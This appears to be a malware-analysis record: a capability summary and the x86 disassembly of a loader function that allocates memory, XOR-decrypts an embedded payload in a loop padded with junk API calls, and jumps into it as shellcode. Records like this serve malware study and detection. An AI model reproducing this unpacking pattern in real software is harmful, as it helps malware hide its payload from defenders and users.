Function at 0x458d58
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc4
mov eax, 0x458ab8
call fcn.004061a0
mov dword [0x45ccd4], 0x8a58a
mov dword [0x45cc80], 0xe
push 0
call sub.user32.dll_GetDlgCtrlID
inc dword [0x45cc80]
cmp dword [0x45cc80], 0x530723
jne 0x458d7c
mov dword [0x45cc9c], 0xaabf0
mov dword [0x45ccbc], esp
add dword [0x45ccbc], 0x40
mov dword [0x45ccc0], ebp
add dword [0x45ccc0], 0x20
lea ecx, [0x45c668]
mov eax, dword [ecx - 0x10]
mov dword [0x45ccc8], eax
mov eax, dword [ecx - 0x14]
mov dword [0x45ccc4], eax
push 0x459078
push 0xa
mov ecx, dword [0x45c668]
mov dl, 1
mov eax, dword [0x417f10]
call fcn.0041bfc0
mov dword [0x45cc88], eax
mov dword [0x45cccc], 0x1001
mov dword [0x45ccd0], 0x1579
push 0x4590a8
push 0x4590b8
call sub.kernel32.dll_GetModuleHandleW
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45ccd8], eax
mov dword [0x45ccdc], 0xffffffff
mov dword [0x45cca8], 0x85
mov eax, dword [0x45cc88]
mov edx, dword [eax]
call dword [edx]
mov dword [0x45cce0], eax
mov eax, dword [0x45ccd0]
sub eax, 0x1539
push eax
mov eax, dword [0x45cccc]
dec eax
push eax
mov eax, dword [0x45cce0]
add eax, dword [0x45cca8]
push eax
push 0
push 0xffffffffffffffff
call dword [0x45ccd8]
mov dword [0x45cc8c], eax
mov eax, dword [0x45ccd0]
sub eax, 0x1539
push eax
mov eax, dword [0x45cccc]
dec eax
push eax
mov eax, dword [0x45cce0]
add eax, dword [0x45cca8]
push eax
push 0
push 0xffffffffffffffff
call dword [0x45ccd8]
mov dword [0x45cc94], eax
mov edx, dword [0x45cce0]
mov eax, dword [0x45cc94]
call fcn.00406c48
mov eax, dword [0x45cc88]
mov edx, dword [eax]
call dword [edx]
mov ecx, eax
mov edx, dword [0x45cc8c]
mov eax, dword [0x45cc88]
call fcn.0041b95c
mov eax, dword [0x45cc8c]
mov eax, dword [eax]
mov dword [0x45cc98], eax
mov eax, dword [0x45cc8c]
add eax, 4
mov dword [0x45cc8c], eax
mov eax, dword [0x45cc94]
mov dword [0x45cc90], eax
mov eax, dword [0x45cc90]
sub eax, 4
mov dword [0x45cc90], eax
xor eax, eax
mov dword [0x45ccb4], eax
xor eax, eax
mov dword [0x45ccb8], eax
mov dword [0x45cca4], 0xc833
mov dword [0x45ccac], 0xb7
mov eax, dword [0x45cc88]
mov edx, dword [eax]
call dword [edx]
mov dword [0x45ccb0], eax
xor eax, eax
mov dword [0x45cc80], eax
mov eax, dword [0x45ccb4]
cmp eax, dword [0x45ccb0]
jae 0x458f81
mov edx, dword [0x45cc8c]
add edx, dword [0x45ccb4]
add edx, dword [0x45cc80]
mov eax, dword [0x45cc94]
add eax, dword [0x45ccb8]
mov ecx, dword [0x45cca8]
call fcn.00406c40
mov eax, dword [0x45cca8]
add dword [0x45ccb8], eax
mov eax, dword [0x45cca8]
add dword [0x45ccb4], eax
mov eax, dword [0x45ccac]
add dword [0x45ccb4], eax
jmp 0x458f29
xor eax, eax
mov dword [0x45cc80], eax
mov eax, dword [0x45cc80]
cmp eax, dword [0x45cc98]
jae 0x459012
mov eax, dword [0x45cc80]
add eax, dword [0x45ccd4]
mov dword [0x45cc84], eax
mov eax, dword [0x45cc80]
mov edx, dword [0x45cc94]
add dword [edx], eax
mov eax, dword [0x45cca4]
add eax, dword [0x45cc84]
mov edx, dword [0x45cc94]
xor dword [edx], eax
add dword [0x45cc80], 4
add dword [0x45cc94], 4
push 0x4590b8
call sub.kernel32.dll_GetModuleHandleW
push 0x4590b8
call sub.kernel32.dll_GetModuleHandleW
push 0x4590b8
call sub.kernel32.dll_GetModuleHandleW
push 0x4590b8
call sub.kernel32.dll_GetModuleHandleW
push 0x4590b8
call sub.kernel32.dll_GetModuleHandleW
mov eax, dword [0x45cc80]
cmp eax, dword [0x45cc98]
jb 0x458f95
mov eax, dword [0x45cc90]
add eax, dword [0x45cc9c]
sub eax, 0x1000
add eax, 4
mov dword [0x45cca0], eax
mov eax, 0xd
push dword [0x45ccbc]
mov eax, 0xe
push dword [0x45ccc0]
mov eax, 0x9c
push dword [0x45ccc4]
mov eax, 0x11
push dword [0x45ccc8]
push dword [0x45c668]
mov eax, 1
push eax
jmp dword [0x45cca0]